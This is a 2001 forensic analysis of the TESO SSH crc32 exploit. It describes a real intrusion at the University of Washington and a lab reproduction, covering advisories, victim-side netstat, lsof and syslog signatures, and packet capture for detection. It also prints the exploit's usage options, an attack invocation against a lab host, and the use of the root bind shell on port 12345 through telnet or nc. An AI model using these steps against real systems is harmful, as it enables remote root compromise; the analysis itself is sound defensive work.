========================================================== Analysis of SSH crc32 compensation attack detector exploit ========================================================== Copyright (C) 2001, David A. Dittrich Fri Nov 9 12:56:07 PST 2001 Summary of incident =================== On October 6, 2001, intruders originating from network blocks in the Netherlands used an exploit for the crc32 compensation attack detector vulnerability to remotely compromise a Red Hat Linux system on the UW network running OpenSSH 2.1.1. This vulnerability is described in CERT Vulnerability note VU#945216: http://www.kb.cert.org/vuls/id/945216 Once in the system, a series of operating system commands were replaced with trojan horses to provide back doors for later entry and to conceal the presence of the intruders in the system. A second SSH server was run on a high numbered port (39999/tcp). The system was then used for broad scanning (outbound from the UW network) to identify more systems running OpenSSH 2.1.1, some of which were then attacked manually. Artifacts and logs were recovered from the system and analyzed. [NOTE: This particular exploit is presumed to be independent of any root kits or tool kits, so do not expect these same attributes to be present on all systems attacking with an SSH crc32 exploit.] The exploit is based on the source code for OpenSSH 2.2.0 (which is the follow on to version 2.1.1, and patched a vulnerability in the crc32 compensation attack detection function). It is is actively being used against systems running OpenSSH 2.1.1 servers which suffer from this vulnerability, and has been successfully used against SSH.com version 1.2.31 as well. (Other implementations of SSH protocol 1 and versions have not been tested to date.) The analyzed exploit lists the following targets: linux/x86 ssh.com 1.2.26-1.2.31 rhl linux/x86 openssh 1.2.3 (maybe others) linux/x86 openssh 2.2.0p1 (maybe others) freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl While this exploit shows multiple targets, the attackers in this case were only scanning for 22/tcp, then connecting to those systems that respond to get the server version and explicitly looking for only "OpenSSH_2.1.1". These were rapid SYN scans, using a tool that comes with the t0rn root kit. Analysis of the compromised system revealed that 47067 addresses had been scanned (totalling 25386 unique hosts -- it is not clear why there is such a large overlap.) Of the hosts scanned, 1244 vulnerable hosts were identified, and the intruders had successfully exploited and entered 4 hosts before the system was taken off-line on October 8. Other reports of 22/tcp scanning have come in since October 8, and it is believed that this exploit is circulating among IRC chat channels. The exploit does not work against systems that use access control restrictions (e.g., SSH.com's "AllowHosts" or "DenyHosts" settings) or packet level filters (e.g., ipchains, iptables, ipf) which would prevent a host from attempting to exchange public keys. The vulnerability requires being able to enter cryptographic key exchange negotiation with the server to properly manipulate the stack. Background on the vulnerability and exploit =========================================== This vulnerability was first announced by CORE-SDI in their advisory CORE-20010207, dated February 8, 2001: http://www.securityfocus.com/advisories/3088 Other advisories and bug descriptions are: http://xforce.iss.net/alerts/advise100.php http://razor.bindview.com/publish/advisories/adv_ssh1crc.html http://www.securityfocus.com/bugid=2347 On October 21, 2001, a thread was started by Jay Dyson on the incidents@securityfocus.com email list about scans for SSH servers originating from RIPE net blocks: http://www.securityfocus.com/cgi-bin/archive.pl?id=75&start=2001-10-27&end=2001-11-02&mid=221998&threads=1 Other groups have, or are working on, studies of scanning for 22/tcp around the globe. A discussion on the vuln-dev@securityfocus.com email list prompted the following Newsbytes story about selling such an exploit for $1000: Hackers Put A Price Tag On New Attack Tool http://www.newsbytes.com/news/01/171291.html [NOTE: The vulnerability is in the source code for SSH protocol 1, not for SSH on a particular hardware architecture. Unconfirmed rumors exist that indicate shell code for Solaris 8/SPARC SSH.com 1.2.26-31 may also exist, so ALL ARCHITECTURES should be considered potentially vulnerable, not just Linux/i386.] Vendor advisories, statements, and patch information ==================================================== http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm http://openssh.org/security.html http://www.cisco.com/warp/public/707/SSH-multiple-pub.html Runtime analysis of the exploit =============================== The exploit was tested on an isolated network segment, using a network address of 10.10.10.0/24, with attacking host using 10.10.10.10 and victim host using 10.10.10.3. The victim is running SSH.com's version 1.2.31 compiled on Red Hat Linux 6.0 (Kernel 2.2.16-3 on an i586). The attacking host was running Fred Cohen's PLAC[1] (CD-ROM bootable Linux 2.4.5 system, employing a ram disk for the root partition.) Files were copied onto the system using "nc" (Netcat)[2]. This configuration allows some safety in the event the exploit (which was reviewed in a cursory fashion by "reqt" disassembly[3]) actually has some malicious code. The non-routable network address and isolated subnet also prevent potential damage. Attacker's view =============== When run with no arguments, the exploit presents the user with usage information: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= root@plac /bin >> ./ssh linux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped from openssh 2.2.0 src greets: mray, random, big t, sh1fty, scut, dvorak ps. this sploit already owned cia.gov :/ **please pick a type** Usage: ./ssh host [options] Options: -p port -b base Base address to start bruteforcing distance, by default 0x1800, goes as high as 0x10000 -t type -d debug mode -o Add this to delta_min types: 0: linux/x86 ssh.com 1.2.26-1.2.31 rhl 1: linux/x86 openssh 1.2.3 (maybe others) 2: linux/x86 openssh 2.2.0p1 (maybe others) 3: freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [NOTE: Other versions of this exploit that are circulating have other options listed which affect the same hosts, but support a different back door port, in one case 3879/tcp, and require a special environment variable be set to protect execution (See the README file in Appendix B.) This may be a defensive mechanism against the exploit being stolen or discovered.] Our victim system is running SSH.com version 1.2.31 (unpatched) on port 2222, with syslog logging directed to a separate file ("sshdx.log", excerpts shown below). We select type 0 and attack our server on port 2222: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= root@plac /bin >> ./ssh 10.10.10.3 -p 2222 -t 0 linux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped from openssh 2.2.0 src greets: mray, random, big t, sh1fty, scut, dvorak ps. this sploit already owned cia.gov :/ ........................... bruteforced distance: 0x3200 bruteforcing distance from h->partial packet buffer on stack ..............^[[A................|////////\\\\! bruteforced h->ident buff distance: 5bfbed88 trying retloc_delta: 35 ....! found high words of possible return address: 808 trying to exploit .... trying retloc_delta: 37 .! found high words of possible return address: 805 trying to exploit .... trying retloc_delta: 39 ...... trying retloc_delta: 3b ...... trying retloc_delta: 3d ! found high words of possible return address: 804 trying to exploit .... trying retloc_delta: 3f ...... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= At this point, the exploit tool appears to "hang". Switching to the victim system, things have changed. Victim's view ============== Prior to the exploit, the victim system shows the standard SSH daemon on port 22/tcp, and our vulnerable daemon on port 2222/tcp. Both are listening, and the standard SSH daemon has one incoming connection (10.10.10.2:33354): =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [root@victim /root]# netstat -an --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= After the above exploit had run to the point of the apparent "hang", a new listening service port is now visible on 12345/tcp: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [root@victim /root]# netstat -an --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN tcp 0 0 10.10.10.3:2222 10.10.10.10:32965 ESTABLISHED tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= During a second "attack", a netstat is run. During the attack window, the multiple brute force attack attempts are visible: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [root@victim /root]# netstat -an --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED tcp 0 0 10.10.10.3:2222 10.10.10.10:33075 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33074 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33072 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33071 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33069 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33067 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33066 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33064 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33063 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33062 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33061 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33060 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33059 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33058 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33056 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33055 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33053 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33051 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33050 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33048 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33047 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33046 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33042 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33041 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33040 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33039 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33038 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33036 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33035 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33034 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33033 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33032 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33030 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33029 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33028 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33027 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33024 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33023 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33022 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33021 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33020 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33016 TIME_WAIT tcp 0 0 10.10.10.3:2222 10.10.10.10:33014 TIME_WAIT tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= LiSt Open Files ("lsof")[4] shows the vulnerable SSH daemon has now opened a new listening port: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [root@victim /root]# lsof -p 9364 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME sshd 9364 root cwd DIR 3,3 1024 2 / sshd 9364 root rtd DIR 3,3 1024 2 / sshd 9364 root txt REG 3,3 655038 442413 /usr/local/src/ssh-1.2.31/sbin/sshd1 sshd 9364 root mem REG 3,3 340771 30722 /lib/ld-2.1.3.so sshd 9364 root mem REG 3,3 370141 31107 /lib/libnsl-2.1.3.so sshd 9364 root mem REG 3,3 66231 31103 /lib/libcrypt-2.1.3.so sshd 9364 root mem REG 3,3 47008 31113 /lib/libutil-2.1.3.so sshd 9364 root mem REG 3,3 4101836 31102 /lib/libc-2.1.3.so sshd 9364 root mem REG 3,3 246652 31109 /lib/libnss_files-2.1.3.so sshd 9364 root mem REG 3,3 252234 31111 /lib/libnss_nisplus-2.1.3.so sshd 9364 root mem REG 3,3 255963 31110 /lib/libnss_nis-2.1.3.so sshd 9364 root mem REG 3,3 67580 31108 /lib/libnss_dns-2.1.3.so sshd 9364 root mem REG 3,3 169720 31112 /lib/libresolv-2.1.3.so sshd 9364 root 0u CHR 1,3 4110 /dev/null sshd 9364 root 1u CHR 1,3 4110 /dev/null sshd 9364 root 2u CHR 1,3 4110 /dev/null sshd 9364 root 3u inet 10202 TCP *:12345 (LISTEN) sshd 9364 root 4u inet 10197 TCP 10.10.10.3:2222->10.10.10.10:33190 (CLOSE_WAIT) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= A successful exploit ==================== Now comes the fun part. The exploit does the typical "bind a shell to a high-numbered TCP port" trick, which also is visible in "netstat" output (12345/tcp): =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [root@victim /root]# netstat -an --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.10.10.3:12345 10.10.10.10:33077 ESTABLISHED tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= All that is necessary is for the attacker to then use "telnet" or "nc" (Netcat) to connect to this port and start executing commands from the shell (it is necessary to end each command line with a semi-colon -- see Appendix B), or to pipe commands from a shell script (this automation method is common, e.g. as seen in the analysis of trin00 published in 1999 in connection with DDoS attacks using that tool.) [NOTE: Feedback from a reviewer of this analysis indicates that if you use "nc" to connect to the back door port, rather than "telnet", you don't need to terminate commands to the shell with semicolons. Nc adds in the newline character that the shell recognizes as a command terminator.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= root@plac ~ >> telnet 10.10.10.3 12345 Trying 10.10.10.3... Connected to 10.10.10.3. Escape character is '^]'. id; uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) date; Thu Nov 1 18:04:42 PST 2001 netstat -an --inet; Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.10.10.3:12345 10.10.10.10:33077 ESTABLISHED tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 exit; Connection closed by foreign host. root@plac ~ >> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Once the attacker exits the shell, things on the victim system go back to normal: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [root@victim /root]# netstat -an --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= If syslog logging is enabled, the connections and brute force attempts are quite visible (remember, this is stock SSH.com 1.2.31 on Red Hat Linux 6.0 -- syslog signatures for OpenSSH were not obtained in this analysis): =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Nov 1 18:46:14 victim sshd[9510]: log: Connection from 10.10.10.10 port 33298 Nov 1 18:46:19 victim sshd[9511]: log: Connection from 10.10.10.10 port 33299 Nov 1 18:46:22 victim sshd[9512]: log: Connection from 10.10.10.10 port 33300 Nov 1 18:46:26 victim sshd[9513]: log: Connection from 10.10.10.10 port 33301 Nov 1 18:46:31 victim sshd[9515]: log: Connection from 10.10.10.10 port 33302 Nov 1 18:46:35 victim sshd[9516]: log: Connection from 10.10.10.10 port 33303 Nov 1 18:46:39 victim sshd[9517]: log: Connection from 10.10.10.10 port 33304 Nov 1 18:46:43 victim sshd[9518]: log: Connection from 10.10.10.10 port 33305 Nov 1 18:46:47 victim sshd[9518]: fatal: Local: Corrupted check bytes on input. Nov 1 18:46:47 victim sshd[9519]: log: Connection from 10.10.10.10 port 33306 Nov 1 18:46:52 victim sshd[9519]: fatal: Connection closed by remote host. Nov 1 18:46:53 victim sshd[9520]: log: Connection from 10.10.10.10 port 33307 Nov 1 18:46:57 victim sshd[9521]: log: Connection from 10.10.10.10 port 33308 Nov 1 18:47:01 victim sshd[9522]: log: Connection from 10.10.10.10 port 33309 Nov 1 18:47:06 victim sshd[9523]: log: Connection from 10.10.10.10 port 33310 Nov 1 18:47:10 victim sshd[9524]: log: Connection from 10.10.10.10 port 33311 Nov 1 18:47:14 victim sshd[9525]: log: Connection from 10.10.10.10 port 33312 Nov 1 18:47:19 victim sshd[9526]: log: Connection from 10.10.10.10 port 33313 Nov 1 18:47:24 victim sshd[9527]: log: Connection from 10.10.10.10 port 33314 Nov 1 18:47:24 victim sshd[9527]: fatal: Connection closed by remote host. Nov 1 18:47:46 victim sshd[9528]: log: Connection from 10.10.10.10 port 33315 Nov 1 18:47:46 victim sshd[9529]: log: Connection from 10.10.10.10 port 33316 Nov 1 18:47:47 victim sshd[9530]: log: Connection from 10.10.10.10 port 33317 Nov 1 18:47:47 victim sshd[9531]: log: Connection from 10.10.10.10 port 33318 Nov 1 18:47:47 victim sshd[9532]: log: Connection from 10.10.10.10 port 33319 Nov 1 18:47:48 victim sshd[9533]: log: Connection from 10.10.10.10 port 33320 Nov 1 18:47:48 victim sshd[9534]: log: Connection from 10.10.10.10 port 33321 Nov 1 18:47:48 victim sshd[9535]: log: Connection from 10.10.10.10 port 33322 Nov 1 18:47:49 victim sshd[9536]: log: Connection from 10.10.10.10 port 33323 Nov 1 18:47:49 victim sshd[9537]: log: Connection from 10.10.10.10 port 33324 Nov 1 18:47:50 victim sshd[9538]: log: Connection from 10.10.10.10 port 33325 Nov 1 18:47:50 victim sshd[9539]: log: Connection from 10.10.10.10 port 33326 Nov 1 18:47:50 victim sshd[9540]: log: Connection from 10.10.10.10 port 33327 Nov 1 18:47:51 victim sshd[9541]: log: Connection from 10.10.10.10 port 33328 Nov 1 18:47:51 victim sshd[9542]: log: Connection from 10.10.10.10 port 33329 Nov 1 18:47:51 victim sshd[9543]: log: Connection from 10.10.10.10 port 33330 Nov 1 18:47:52 victim sshd[9544]: log: Connection from 10.10.10.10 port 33331 Nov 1 18:47:52 victim sshd[9545]: log: Connection from 10.10.10.10 port 33332 Nov 1 18:47:52 victim sshd[9546]: log: Connection from 10.10.10.10 port 33333 Nov 1 18:47:53 victim sshd[9547]: log: Connection from 10.10.10.10 port 33334 Nov 1 18:47:53 victim sshd[9548]: log: Connection from 10.10.10.10 port 33335 Nov 1 18:47:54 victim sshd[9549]: log: Connection from 10.10.10.10 port 33336 Nov 1 18:47:54 victim sshd[9550]: log: Connection from 10.10.10.10 port 33337 Nov 1 18:47:54 victim sshd[9551]: log: Connection from 10.10.10.10 port 33338 Nov 1 18:47:55 victim sshd[9552]: log: Connection from 10.10.10.10 port 33339 Nov 1 18:47:55 victim sshd[9553]: log: Connection from 10.10.10.10 port 33340 Nov 1 18:47:55 victim sshd[9554]: log: Connection from 10.10.10.10 port 33341 Nov 1 18:47:56 victim sshd[9555]: log: Connection from 10.10.10.10 port 33342 Nov 1 18:47:56 victim sshd[9556]: log: Connection from 10.10.10.10 port 33343 Nov 1 18:47:56 victim sshd[9555]: fatal: Local: Corrupted check bytes on input. Nov 1 18:47:57 victim sshd[9557]: log: Connection from 10.10.10.10 port 33344 Nov 1 18:47:57 victim sshd[9558]: log: Connection from 10.10.10.10 port 33345 Nov 1 18:47:57 victim sshd[9559]: log: Connection from 10.10.10.10 port 33346 Nov 1 18:47:58 victim sshd[9560]: log: Connection from 10.10.10.10 port 33347 Nov 1 18:47:58 victim sshd[9561]: log: Connection from 10.10.10.10 port 33348 Nov 1 18:47:59 victim sshd[9562]: log: Connection from 10.10.10.10 port 33349 Nov 1 18:47:59 victim sshd[9563]: log: Connection from 10.10.10.10 port 33350 Nov 1 18:47:59 victim sshd[9564]: log: Connection from 10.10.10.10 port 33351 Nov 1 18:48:00 victim sshd[9565]: log: Connection from 10.10.10.10 port 33352 Nov 1 18:48:00 victim sshd[9566]: log: Connection from 10.10.10.10 port 33353 Nov 1 18:48:00 victim sshd[9567]: log: Connection from 10.10.10.10 port 33354 Nov 1 18:48:01 victim sshd[9568]: log: Connection from 10.10.10.10 port 33355 Nov 1 18:48:01 victim sshd[9569]: log: Connection from 10.10.10.10 port 33356 Nov 1 18:48:02 victim sshd[9570]: log: Connection from 10.10.10.10 port 33357 Nov 1 18:48:02 victim sshd[9571]: log: Connection from 10.10.10.10 port 33358 Nov 1 18:48:02 victim sshd[9572]: log: Connection from 10.10.10.10 port 33359 Nov 1 18:48:03 victim sshd[9573]: log: Connection from 10.10.10.10 port 33360 Nov 1 18:48:03 victim sshd[9574]: log: Connection from 10.10.10.10 port 33361 Nov 1 18:48:03 victim sshd[9575]: log: Connection from 10.10.10.10 port 33362 Nov 1 18:48:04 victim sshd[9576]: log: Connection from 10.10.10.10 port 33363 Nov 1 18:48:04 victim sshd[9577]: log: Connection from 10.10.10.10 port 33364 Nov 1 18:48:04 victim sshd[9578]: log: Connection from 10.10.10.10 port 33365 Nov 1 18:48:05 victim sshd[9579]: log: Connection from 10.10.10.10 port 33366 Nov 1 18:48:05 victim sshd[9580]: log: Connection from 10.10.10.10 port 33367 Nov 1 18:48:06 victim sshd[9581]: log: Connection from 10.10.10.10 port 33368 Nov 1 18:48:06 victim sshd[9582]: log: Connection from 10.10.10.10 port 33369 Nov 1 18:48:06 victim sshd[9583]: log: Connection from 10.10.10.10 port 33370 Nov 1 18:48:07 victim sshd[9584]: log: Connection from 10.10.10.10 port 33371 Nov 1 18:48:07 victim sshd[9585]: log: Connection from 10.10.10.10 port 33372 Nov 1 18:48:07 victim sshd[9586]: log: Connection from 10.10.10.10 port 33373 Nov 1 18:48:08 victim sshd[9587]: log: Connection from 10.10.10.10 port 33374 Nov 1 18:48:08 victim sshd[9586]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:08 victim sshd[9588]: log: Connection from 10.10.10.10 port 33375 Nov 1 18:48:08 victim sshd[9587]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:08 victim sshd[9589]: log: Connection from 10.10.10.10 port 33376 Nov 1 18:48:08 victim sshd[9588]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:09 victim sshd[9590]: log: Connection from 10.10.10.10 port 33377 Nov 1 18:48:09 victim sshd[9589]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:09 victim sshd[9591]: log: Connection from 10.10.10.10 port 33378 Nov 1 18:48:09 victim sshd[9590]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:09 victim sshd[9592]: log: Connection from 10.10.10.10 port 33379 Nov 1 18:48:09 victim sshd[9591]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:10 victim sshd[9592]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:10 victim sshd[9593]: log: Connection from 10.10.10.10 port 33380 Nov 1 18:48:10 victim sshd[9594]: log: Connection from 10.10.10.10 port 33381 Nov 1 18:48:10 victim sshd[9593]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:11 victim sshd[9595]: log: Connection from 10.10.10.10 port 33382 Nov 1 18:48:11 victim sshd[9594]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:11 victim sshd[9596]: log: Connection from 10.10.10.10 port 33383 Nov 1 18:48:11 victim sshd[9597]: log: Connection from 10.10.10.10 port 33384 Nov 1 18:48:11 victim sshd[9596]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:12 victim sshd[9598]: log: Connection from 10.10.10.10 port 33385 Nov 1 18:48:12 victim sshd[9597]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:12 victim sshd[9599]: log: Connection from 10.10.10.10 port 33386 Nov 1 18:48:12 victim sshd[9598]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:12 victim sshd[9600]: log: Connection from 10.10.10.10 port 33387 Nov 1 18:48:12 victim sshd[9599]: fatal: Local: crc32 compensation attack: network attack detected Nov 1 18:48:13 victim sshd[9601]: log: Connection from 10.10.10.10 port 33388 Nov 1 18:48:13 victim sshd[9602]: log: Connection from 10.10.10.10 port 33389 Nov 1 18:48:13 victim sshd[9603]: log: Connection from 10.10.10.10 port 33390 Nov 1 18:48:14 victim sshd[9604]: log: Connection from 10.10.10.10 port 33391 Nov 1 18:48:14 victim sshd[9605]: log: Connection from 10.10.10.10 port 33392 Nov 1 18:48:15 victim sshd[9606]: log: Connection from 10.10.10.10 port 33393 Nov 1 18:48:15 victim sshd[9605]: fatal: Local: Corrupted check bytes on input. Nov 1 18:48:15 victim sshd[9607]: log: Connection from 10.10.10.10 port 33394 Nov 1 18:48:16 victim sshd[9608]: log: Connection from 10.10.10.10 port 33395 Nov 1 18:48:16 victim sshd[9609]: log: Connection from 10.10.10.10 port 33396 Nov 1 18:48:16 victim sshd[9610]: log: Connection from 10.10.10.10 port 33397 Nov 1 18:48:17 victim sshd[9611]: log: Connection from 10.10.10.10 port 33398 Nov 1 18:48:17 victim sshd[9611]: fatal: Local: Corrupted check bytes on input. Nov 1 18:48:17 victim sshd[9612]: log: Connection from 10.10.10.10 port 33399 Nov 1 18:48:18 victim sshd[9613]: log: Connection from 10.10.10.10 port 33400 Nov 1 18:48:18 victim sshd[9614]: log: Connection from 10.10.10.10 port 33401 Nov 1 18:58:18 victim sshd[9614]: fatal: Timeout before authentication. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= One final point. Note the last syslog entry. The successful exploit causes an authentication attempt to pause while the shell code back door becomes active. You can connect to the shell and do whatever you want. Only problem is, the original SSH daemon (at least with SSH.com 1.2.31) will timeout when the authentication doesn't complete, and the shell will be terminated. This gives a window of ten minutes (at least with SSH.com 1.2.31) before the listening shell's parent dies and another exploit attempt must be started. (That is plenty of time to fully root the box eight ways from Sunday, unfortunately.) Network traffic =============== Tcpdump was used to capture the two "attacks" shown above. (The tcpdump file "sshdx.dump", rather than the exploit itself, is available [11] for those wishing to tune their IDSs to detect signatures of this particular exploit. Use something like "tcpreplay" [12] if your IDS does not support tcpdump files, then tell your coders to write tcpdump import functions like Snort. ;) [NOTE: The tcpdump file was obtained using Red Hat's screwed up libpcap, which includes the device name in the dump records. This means that all utilities, like "ngrep", must be linked against Red Hat's stock libpcap in order to read this file. I REALLY wish that Red Hat had worked with the folks who maintain libpcap and convinced them to support either dump format, or switch to adding the device name in the standard libpcap, instead of going their own way in what seems to be typical Linux fashion. This *really* makes it hard to share tcpdump files between operating systems.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # tcpdump -s1500 -w sshdx.dump ip host 10.10.10.3 & =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= It can readily be seen that multiple connections are made to the SSH daemon, and using 